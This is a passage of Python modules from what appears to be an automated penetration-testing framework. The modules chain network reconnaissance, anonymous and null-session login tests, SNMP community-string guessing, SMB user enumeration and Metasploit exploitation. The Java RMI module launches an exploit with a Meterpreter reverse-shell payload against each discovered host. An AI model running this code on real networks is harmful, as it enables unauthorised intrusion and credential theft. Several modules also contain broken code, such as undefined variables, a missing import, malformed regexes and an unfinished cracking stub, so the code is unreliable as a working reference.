                                          "proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
                            for line in text.splitlines():
                                m = re.match(r'^\s*OS\s\s*: (.*)\s*', line)
                                if (m):
                                    self.display.verbose("Metasploit Session [" + s +
                                            "] running on OS [" + m.group(1).strip() + "]")

            # clean up after ourselves
            result = msf.cleanup()

        return






import httplib

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class httpoptions(actionModule):
    def __init__(self, config, display, lock):
        super(httpoptions, self).__init__(config, display, lock)
        self.title = "Get HTTP Options"
        self.shortName = "httpOptions"
        self.description = "issue [OPTIONS / HTTP/1.0] to each web server"

        self.requirements = []
        self.triggers = ["newServicehttp", "newServicehttps", "newPort80", "newPort443"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['service/http/host', 'service/https/host'])

    def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            try:
                conn = httplib.HTTPConnection(t, port, timeout=10)
                conn.request('OPTIONS', '/')
                response = conn.getresponse()
                text = ""
                allowed = response.getheader('allow')
                outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                    port) + "_" + Utils.getRandStr(10)
                if (allowed):
                    badoptions = ['PUT', 'DELETE', 'TRACE', 'TRACK']
                    for badopt in badoptions:
                        if (allowed.contains(badopt)):
                            self.fire("httpOption" + badopt)
                            self.addVuln(t, "httpOption" + badopt,
                                         {"port": str(port), "output": outfile.replace("/", "%2F")})
                            self.display.error("VULN [httpOption%s] Found on [%s:%i]" % (badopt, host, int(port)))
                    text = "Allowed HTTP Options for %s : %s\n\nFull Headers:\n%s" % (
                        t, allowed, self.print_dict(response.getheaders()))
                else:
                    text = "Allowed HTTP Options for %s : OPTIONS VERB NOT ALLOWED\n\nFull Headers:\n%s" % (
                        t, self.print_dict(response.getheaders()))
                Utils.writeFile(text, outfile)
            except httplib.BadStatusLine:
                pass
            # except socket.error as e:
            except:
                pass

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            ports = kb.get(['service/http/host/' + t + '/tcpport', 'service/https/host/' + t + '/tcpport'])
            for port in ports:
                self.processTarget(t, port)
                for hostname in self.getHostnames(t):
                    self.processTarget(hostname, port)

        return






try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapnfsshares(actionModule):
    def __init__(self, config, display, lock):
        super(nmapnfsshares, self).__init__(config, display, lock)
        self.title = "NMap NFS Share Scan"
        self.shortName = "NmapNFSShareScan"
        self.description = "execute [nmap -p111 --script=nfs-ls,nfs-showmount] on each target"

        # disabled for now as the nmap NSE scripts appear to have an issue
        self.requirements = ["nmap"]
        self.triggers = ["newPort111"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get('host/*/tcpport/111')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script=nfs-ls,nfs-showmount", ports="111", vector=self.vector,
                                     filetag=t + "_NFSSHARESCAN")['scan']

                tree = ET.parse(n.outfile + '.xml')
                root = tree.getroot()
                for volumestable in root.iter("table"):
                    if volumestable.attrib.has_key('key') and volumestable.attrib['key'] == "volumes":
                        for volume in volumestable:
                            sharename = ""
                            shareinfo = ""
                            files = {}
                            for elem in volume:
                                if elem.attrib["key"] == "volume":
                                    sharename = elem.text.replace("/", "%2F")
                                if elem.attrib["key"] == "info":
                                    shareinfo = elem[0].text.replace("/", "%2F")
                                if elem.attrib["key"] == "files":
                                    for file in elem:
                                        newfile = {}
                                        for fileprop in file:
                                            newfile[fileprop.attrib["key"]] = fileprop.text
                                        files[newfile["filename"]] = newfile
                            kb.add("host/" + t + "/shares/NFS/" + sharename + "/" + str("Info: " + shareinfo))
                            for file in files:
                                # TODO - Maybe revisit adding more file properties here in addition to names
                                kb.add("host/" + t + "/shares/NFS/" + sharename + "/Files/" + str(file).replace("/", "%2F"))
                                
        return






import socket
from ftplib import FTP, error_perm

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class anonftp(actionModule):
    def __init__(self, config, display, lock):
        super(anonftp, self).__init__(config, display, lock)
        self.title = "Test for Anonymous FTP"
        self.shortName = "anonymousFTP"
        self.description = "connect to remote FTP service as anonymous"

        self.requirements = []
        self.triggers = ["newServiceftp", "newPort21"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get('host/*/tcpport/21')
        self.targets2 = kb.get('service/ftp/host')

    def testTarget(self, host, port):
        # verify we have not tested this host before
        if not self.seentarget(host + str(port)):
            self.addseentarget(host + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + host)
            # start packet capture
            cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + host, packetcount=10, timeout=10,
                              srcip=self.config['lhost'], dstip=host)

            # connect to the target host
            ftp = FTP()
            try:
                ftp.connect(host, int(port))

                outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
                    port) + "_" + host + "_" + Utils.getRandStr(10)

                try:
                    # attempt to login as anonymous
                    result = ftp.login("anonymous", "anon@mo.us")
                    if ("Login successful" in result):
                        # fire a new trigger
                        self.fire("anonymousFtp")
                        self.addVuln(host, "anonymousFTP", {"port": str(port), "output": outfile.replace("/", "%2F")})
                        self.display.error("VULN [AnonymousFTP] Found on [%s]" % host)
                    else:
                        self.display.verbose("Could not login as anonymous to FTP at " + host)
                except error_perm as e:
                    self.display.verbose("Could not login as anonymous to FTP at " + host)

                # close the connection
                ftp.close()

                # retrieve pcap results
                Utils.writeFile(self.getPktCap(cap), outfile)
            except EOFError as e:
                self.display.verbose("Could not find FTP server located at " + host + " Port " + str(port))
            except socket.error as e:
                self.display.verbose("Could not find FTP server located at " + host + " Port " + str(port))

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            self.testTarget(t, 21)
        for t in self.targets2:
            ports = kb.get('service/ftp/host/' + t + '/tcpport')
            for p in ports:
                self.testTarget(t, p)
        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class ssltestsslserver(actionModule):
    def __init__(self, config, display, lock):
        super(ssltestsslserver, self).__init__(config, display, lock)
        self.title = "Determine SSL protocols and ciphers"
        self.shortName = "SSLTestSSLServer"
        self.description = "execute [TestSSLServer <server> <port>] on each target"

        self.requirements = ["java"]
        self.triggers = ["newServicehttps", "newServicessl", "newPort443", "newPort8443"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['service/https/host', 'service/ssl/host'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            ports = kb.get(['service/https/host/' + t + '/tcpport', 'service/ssl/host/' + t + '/tcpport'])
            for port in ports:
                # verify we have not tested this host before
                if not self.seentarget(t + str(port)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(port))
                    # make outfile
                    temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)

                    command = "java -jar " + self.config["miscDir"] + "TestSSLServer.jar " + t + " " + port
                    result = Utils.execWait(command, temp_file, timeout=30)

                    depricatedlist = []
                    weakciphers = []
                    keystrength = ""
                    tls12 = False
                    with open (temp_file, "r") as myfile:
                        result=myfile.readlines()

                    for line in result:
                        if (tls12):
                            m = re.match(r'^    (.*))', line)
                            if (m):
                                cipher = line.strip()
                                if "DES" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                                elif "RSA" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                                elif "NULL" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                            else:
                                tls12 = False

                        else:
                            m = re.match(r'^\s*Supported versions: (.*))', line)
                            if (m):
                                if ("SSLv2" in m.group(1)):
                                    protocol = "SSLv2"
                                    if protocol not in depricatedlist:
                                        depricatedlist.append(protocol)
                                elif ("SSLv3" in m.group(1)):
                                    protocol = "SSLv3"
                                    if protocol not in depricatedlist:
                                        depricatedlist.append(protocol)
                                elif ("TLSv1.0" in m.group(1)):
                                    protocol = "TLSv1.0"
                                    if protocol not in depricatedlist:
                                        depricatedlist.append(protocol)
                                elif ("TLSv1.1" in m.group(1)):
                                    protocol = "TLSv1.1"
                                    if protocol not in depricatedlist:
                                        depricatedlist.append(protocol)
                            m = re.match(r'^  TLSv1.2\s*', line)
                            if (m):
                                tls12 = True

                    # store data into KB
                    for depricatedProto in depricatedlist:
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/depricatedSSLProto/' + depricatedProto)
                    for weakCipher in weakciphers:
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/weakSSLCipher/' + weakCipher)
                    if keystrength is not "":
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/weakSSLKeyStrength/' + keystrength)


        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_openx11(actionModule):
    def __init__(self, config, display, lock):
        super(msf_openx11, self).__init__(config, display, lock)
        self.triggers = ["newPort6000"]
        self.requirements = ["msfconsole"]
        self.title = "Attempt Login To Open X11 Service"
        self.shortName = "MSFOpenX11"
        self.description = "execute [auxiliary/scanner/x11/open_x11] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have TCP 6000 open
        self.targets = kb.get('host/*/tcpport/6000')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # If any results are succesful, this will become true and Fire will be called in the end
            callFire = False
            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use auxiliary/scanner/x11/open_x11\n")
                    msf.execute("set RHOSTS %s\n" % t)
                    msf.execute("run\n")
                    msf.sleep(int(self.config['msfexploitdelay']))
                    result = msf.getResult()
                    while (re.search(".*execution completed.*", result) is None):
                        result = result + msf.getResult()

                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    Utils.writeFile(result, outfile)

                    parts = re.findall(".*Open X Server.*", result)
                    for part in parts:
                        callFire = True
                        self.addVuln(t, "openX11",
                                     {"port": "6000", "message": str(part), "output": outfile.replace("/", "%2F")})

            # Nothing to trigger?
            if callFire:
                self.fire("x11Access")

            # clean up after ourselves
            result = msf.cleanup()

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_snmplogin(actionModule):
    def __init__(self, config, display, lock):
        super(msf_snmplogin, self).__init__(config, display, lock)
        self.triggers = ["newPort161"]
        self.requirements = ["msfconsole"]
        self.title = "Attempt Login Using Common Community Strings"
        self.shortName = "MSFSNMPLogin"
        self.description = "execute [auxiliary/scanner/snmp/snmp_login] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have UDP 161 open
        self.targets = kb.get('host/*/udpport/161')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # If any results are succesful, this will become true and Fire will be called in the end
            callFire = False
            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use auxiliary/scanner/snmp/snmp_login\n")
                    msf.execute("set RHOSTS %s\n" % t)
                    msf.execute("set VERSION 2c\n")
                    msf.execute("run\n")
                    msf.sleep(int(self.config['msfexploitdelay']))
                    result = msf.getResult()
                    while (re.search(".*execution completed.*", result) is None):
                        result = result + msf.getResult()

                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    Utils.writeFile(result, outfile)

                    parts = re.findall(".*LOGIN SUCCESSFUL.*", result)
                    for part in parts:
                        callFire = True
                        # Add all relevant details
                        p = part.split()
                        comString = p[p.index("SUCCESSFUL:") + 1]
                        self.addVuln(t, "snmpCred", {"port": "161", "message": str(part), "communityString": comString,
                                                     "output": outfile.replace("/", "%2F")})

            if callFire:
                self.fire("snmpCred")

            # clean up after ourselves
            result = msf.cleanup()

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class nullsessionsmbclient(actionModule):
    def __init__(self, config, display, lock):
        super(nullsessionsmbclient, self).__init__(config, display, lock)
        self.title = "Test for NULL Session"
        self.shortName = "NULLSessionSmbClient"
        self.description = "execute [smbclient -N -L <IP>] on each target"

        self.requirements = ["smbclient"]
        self.triggers = ["newPort445", "newPort139"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # get windows domain/workgroup
                temp_file2 = self.config["proofsDir"] + "nmblookup_" + t + "_" + Utils.getRandStr(10)
                command2 = "nmblookup -A " + t
                result2 = Utils.execWait(command2, temp_file2)
                workgroup = "WORKGROUP"
                for line in result2.split('\n'):
                    m = re.match(r'\s+(.*)\s+<00> - <GROUP>.*', line)
                    if (m):
                        workgroup = m.group(1).strip()
                        self.display.debug("found ip [%s] is on the workgroup/domain [%s]" % (t, workgroup))

                # make outfile
                outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                # run rpcclient
                command = "smbclient -N -W " + workgroup + " -L " + t
                result = Utils.execWait(command, outfile)

                # check to see if it worked
                if "Anonymous login successful" in result:
                    # fire a new trigger
                    self.fire("nullSession")
                    self.addVuln(t, "nullSession", {"type": "smb", "output": outfile.replace("/", "%2F")})
                    self.display.error("VULN [NULLSession] Found on [%s]" % t)

                    # TODO - process smbclient results
                    # parse out put and store any new info and fire any additional triggers
                else:
                    # do nothing
                    self.display.verbose("Could not get NULL Session on %s" % t)
        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_vncnoneauth(actionModule):
    def __init__(self, config, display, lock):
        super(msf_vncnoneauth, self).__init__(config, display, lock)
        self.triggers = ["newPort5900"]
        self.requirements = ["msfconsole"]
        self.title = "Detect VNC Services with the None authentication type"
        self.shortName = "MSFVNCNoneAuth"
        self.description = "execute [auxiliary/scanner/vnc_none_auth] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have UDP 161 open
        self.targets = kb.get('host/*/tcpport/5900')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # If any results are succesful, this will become true and Fire will be called in the end
            callFire = False
            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use auxiliary/scanner/vnc/vnc_none_auth\n")
                    msf.execute("set RHOSTS %s\n" % t)
                    msf.execute("run\n")
                    msf.sleep(int(self.config['msfexploitdelay']))
                    result = msf.getResult()
                    while (re.search(".*execution completed.*", result) is None):
                        result = result + msf.getResult()

                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    Utils.writeFile(result, outfile)

                    parts = re.findall(".*identified the VNC 'none' security type.*", result)
                    for part in parts:
                        callFire = True
                        self.addVuln(t, "VNCNoAuth", {"message": str(part), "output": outfile.replace("/", "%2F")})

            if callFire:
                self.Fire("vncAccess")

            # clean up after ourselves
            result = msf.cleanup()

        return






import re
import sys

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class sslsslscan(actionModule):
    def __init__(self, config, display, lock):
        super(sslsslscan, self).__init__(config, display, lock)
        self.title = "Determine SSL protocols and ciphers"
        self.shortName = "SSLTestSSLScan"
        self.description = "execute [sslscan <server>:<port> on each target"

        self.requirements = ["sslscan"]
        self.triggers = ["newServicessl", "newServicehttps", "newPort443", "newPort8443"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['service/https/host', 'service/ssl/host'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            ports = kb.get(['service/https/host/' + t + '/tcpport', 'service/ssl/host/' + t + '/tcpport'])
            for port in ports:
                # verify we have not tested this host before
                if not self.seentarget(t + str(port)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(port))
                    # make outfile
                    temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)

                    command = "sslscan --no-color " + t + ":" + port
                    result = Utils.execWait(command, temp_file, timeout=60)
                    depricatedlist = []
                    weakciphers = []
                    keystrength = ""
                    with open (temp_file, "r") as myfile:
                        result=myfile.readlines()

                    for line in result:
                        m = re.match(r'^\s*Accepted\s\s+([^ ]*)\s\s*(\d\d*)\s\s*bits\s*([^ ]*)', line)
                        if (m):
                            protocol = m.group(1).strip()
                            bit = m.group(2).strip()
                            cipher = m.group(3).strip()
                            if (protocol == "SSLv2"):
                                if protocol not in depricatedlist:
                                    depricatedlist.append(protocol)
                            elif (protocol == "SSLv3"):
                                if protocol not in depricatedlist:
                                    depricatedlist.append(protocol)
                            elif (protocol == "TLSv1.0"):
                                if protocol not in depricatedlist:
                                    depricatedlist.append(protocol)
                            elif (protocol == "TLSv1.1"):
                                if protocol not in depricatedlist:
                                    depricatedlist.append(protocol)
                            elif (protocol == "TLSv1.2"):
                                if "DES" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                                elif "RSA" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                                elif "NULL" in cipher:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                                elif int(bit) < 112:
                                    if cipher not in weakciphers:
                                        weakciphers.append(cipher)
                        else:
                            m = re.match(r'^\s*RSA Key Strength:\s*(\d\d*)', line)
                            if (m):
                                if int(m.group(1).strip()) < 2048:
                                    keystrength = m.group(1).strip()

                    # store data into KB
                    for depricatedProto in depricatedlist:
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/depricatedSSLProto/' + depricatedProto)
                    for weakCipher in weakciphers:
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/weakSSLCipher/' + weakCipher)
                    if keystrength is not "":
                       kb.add('service/https/host/' + t + '/tcpport/' + port + '/weakSSLKeyStrength/' + keystrength)

                    # improve the output
                    self.display.debug(t + "," + str(port) + "," + ' '.join(depricatedlist) + "," + ' '.join(
                        weakciphers) + "," + keystrength)

        return






try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapsmbshares(actionModule):
    def __init__(self, config, display, lock):
        super(nmapsmbshares, self).__init__(config, display, lock)
        self.title = "NMap SMB Share Scan"
        self.shortName = "NmapSMBShareScan"
        self.description = "execute [nmap -p445 --script=smb-enum-shares] on each target"

        self.requirements = ["nmap"]
        self.triggers = ["newPort445"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script=smb-enum-shares", ports="445", vector=self.vector,
                                     filetag=t + "_SMBSHARESCAN")['scan']

                tree = ET.parse(n.outfile + '.xml')
                root = tree.getroot()
                for table in root.iter('table'):
                    sharename = table.attrib["key"]
                    for elem in table:
                        if elem.text is not None:
                            kb.add("host/" + t + "/shares/SMB/" + sharename + "/" + str(elem.attrib['key'] + ": " + elem.text).replace("/", "%2F"))

        return












import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_smbuserenum(actionModule):
    def __init__(self, config, display, lock):
        super(msf_smbuserenum, self).__init__(config, display, lock)
        self.title = "Get List of Users From SMB"
        self.shortName = "MSFSMBUserEnum"
        self.description = "execute [auxiliary/scanner/smb/smb_enumusers] on each target"

        self.requirements = ["msfconsole"]
        self.triggers = ["nullSession"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host/*/vuln/nullSession')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use auxiliary/scanner/smb/smb_enumusers\n")
                    msf.execute("set RHOSTS %s\n" % t)
                    msf.execute("run\n")
                    msf.sleep(int(self.config['msfexploitdelay']))
                    result = msf.getResult()
                    while (re.search(".*execution completed.*", result) is None):
                        result = result + msf.getResult()

                    # MSF output format:[*] [timestamp] IP DOMAIN [user,users] ( extras)
                    parts = re.findall(".*" + t.replace(".", "\.") + ".*", result)
                    for part in parts:
                        if "RHOSTS" in part:
                            pass
                        else:
                            try:
                                pieces = part.split()
                                domain = pieces[3]
                                kb.add("domain/" + domain.strip() + "/host/" + t)
                                extras = part.split('(')[1].split(')')[0]
                                users = part.split('[')[3].split(']')[0].split(',')
                                for user in users:
                                    kb.add("host/" + t + "/user/" + user.strip())
                            except:
                                pass
                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    Utils.writeFile(result, outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            # clean up after ourselves
            result = msf.cleanup()

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_javarmi(actionModule):
    def __init__(self, config, display, lock):
        super(msf_javarmi, self).__init__(config, display, lock)
        self.triggers = ["newPort1099"]
        self.requirements = ["msfconsole"]
        self.title = "Attempt to Exploit A Java RMI Service"
        self.shortName = "MSFJavaRMI"
        self.description = "execute [exploit/multi/misc/java_rmi_server] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have UDP 161 open
        self.targets = kb.get('host/*/tcpport/1099')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # If any results are succesful, this will become true and Fire will be called in the end
            callFire = False
            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use exploit/multi/misc/java_rmi_server\n")
                    msf.execute("set RHOSTS %s\n" % t)
                    msf.execute("set TARGET 0\n")
                    msf.execute("set PAYLOAD java/meterpreter/reverse_tcp\n")
                    msf.execute("run\n")
                    msf.sleep(int(self.config['msfexploitdelay']))

                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    result = msf.getResult()
                    Utils.writeFile(result, outfile)

                    parts = re.findall(".*Meterpreter session.*", result)
                    for part in parts:
                        callFire = True
                        self.addVuln(t, "JavaRMI", {"port": "1099", "output": outfile.replace("/", "%2F")})

            if callFire:
                self.fire("msfSession")

            # clean up after ourselves
            result = msf.cleanup()

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb


class crackPasswordHashJohnTR(actionModule):
    def __init__(self, config, display, lock):
        super(crackPasswordHashJohnTR, self).__init__(config, display, lock)
        self.title = "Attempt to crack any password hashes"
        self.shortName = "CrackPasswordHashJTR"
        self.description = "execute john the ripper on each hash"

        self.requirements = ["john"]
        self.triggers = ["newPasswordHash"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get('user/*/passwordhash')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # TODO
            # get list of all password hashes for current user
            # loop over each hash
            if not self.seentarget(t + h):
                # add the new IP to the already seen list
                self.addseentarget(t + h)
                # get the type of each hash (ntlm, lm, netntlmv2, etc..)
                # write each hach out to a temp file seperated by type (i.e. one file for all ntlm, one file for all
                # netntlmv2, etc...)

                # if any hashes were written to files
                # for each file
                # execute john on file
                # parse output of john and update kb with newly cracked passwords
        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapms08067scan(actionModule):
    def __init__(self, config, display, lock):
        super(nmapms08067scan, self).__init__(config, display, lock)
        self.title = "NMap MS08-067 Scan"
        self.shortName = "NmapMS08067Scan"
        self.description = "execute [nmap --script smb-vuln-ms08-067.nse -p445] on each target"

        self.requirements = ["nmap"]
        self.triggers = ["newPort445", "newPort139"]

        self.safeLevel = 4

    def getTargets(self):
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script smb-vuln-ms08-067.nse", ports="445", vector=self.vector,
                                     filetag=t + "_MS08067SCAN")['scan']
        return






import re
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class anonldap(actionModule):
    def __init__(self, config, display, lock):
        super(anonldap, self).__init__(config, display, lock)
        self.title = "Test for Anonymous LDAP Searches"
        self.shortName = "AnonymousLDAP"
        self.description = "execute [ldapsearch -h <server> -p 389 -x -s base"

        self.requirements = ["ldapsearch"]
        self.triggers = ["newServiceldap", "newPort389"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['host/*/tcpport/389', 'host/*/udpport/389'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        callFire = False
        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # add the new IP to the already seen list
                self.addseentarget(t)
                # make outfile
                outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                # run rpcclient
                command = "ldapsearch -h " + t + " -p 389 -x -s base"
                result = Utils.execWait(command, outfile)

                # TODO - Parse output and do stuff
                parts = re.findall("ref: .*", result)
                for part in parts:
                    callFire = True
                    self.addVuln(t, "AnonymousLDAP", {"port": "389", "message": str(part).replace("/", "%2F"), "output": outfile.replace("/", "%2F")})
        if callFire:
                self.fire("anonymousLDAP")

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class nullsessionrpcclient(actionModule):
    def __init__(self, config, display, lock):
        super(nullsessionrpcclient, self).__init__(config, display, lock)
        self.title = "Test for NULL Session"
        self.shortName = "NULLSessionRpcClient"
        self.description = "execute [rpcclient -U \"\" -N <IP> -c srvinfo] on each target"

        self.requirements = ["rpcclient"]
        self.triggers = ["newPort445", "newPort139"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # get windows domain/workgroup
                temp_file2 = self.config["proofsDir"] + "nmblookup_" + t + "_" + Utils.getRandStr(10)
                command2 = "nmblookup -A " + t
                result2 = Utils.execWait(command2, temp_file2)
                workgroup = "WORKGROUP"
                for line in result2.split('\n'):
                    m = re.match(r'\s+(.*)\s+<00> - <GROUP>.*', line)
                    if (m):
                        workgroup = m.group(1).strip()
                        self.display.debug("found ip [%s] is on the workgroup/domain [%s]" % (t, workgroup))

                # make outfile
